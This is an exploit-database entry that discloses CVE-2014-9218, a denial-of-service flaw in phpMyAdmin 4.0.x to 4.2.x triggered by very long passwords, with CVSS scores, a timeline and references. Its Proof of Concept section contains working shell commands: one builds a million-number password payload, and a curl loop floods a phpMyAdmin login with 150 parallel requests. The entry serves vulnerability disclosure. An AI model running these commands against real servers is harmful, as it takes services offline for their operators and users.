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exploitpackJaver Nieto Andres RojasEXPLOITPACK:F3BC2AAF495FCA5024817AE3782866F8
HistoryDec 15, 2014 - 12:00 a.m.

phpMyAdmin 4.0.x4.1.x4.2.x - Denial of Service

2014-12-1500:00:00
Javer Nieto Andres Rojas
15

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

phpMyAdmin 4.0.x4.1.x4.2.x - Denial of Service

=============
DESCRIPTION:
=============
A vulnerability present in in phpMyAdmin 4.0.x before 4.0.10.7, 4.1. x
before 4.1.14.8, and 4.2.x before 4.2.13.1 allows remote attackers  to
cause a denial of service (resource consumption) via a long password.
CVE-2014-9218 was assigned

=============
Time Line:
=============
December 3, 2014 - A phpMyAdmin update and the security advisory is
published.

=============
Proof of Concept:
=============

*1 - Create the payload.*

$ echo -n "pma_username=xxxxxxxx&pma_password=" > payload && printf "%s"
{1..1000000} >> payload

*2 - Performing the Denial of Service attack.*

$ for i in `seq 1 150`; do (curl --data @payload
http://your-webserver-installation/phpmyadmin/ --silent > /dev/null &) done

=============
Authors:
=============

-- Javer Nieto -- http://www.behindthefirewalls.com
-- Andres Rojas -- http://www.devconsole.info
=============

References:
====================================================================

*
http://www.behindthefirewalls.com/2014/12/when-cookies-lead-to-dos-in-phpmyadmin.html
* http://www.phpmyadmin.net/home_page/security/PMASA-2014-17.php

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P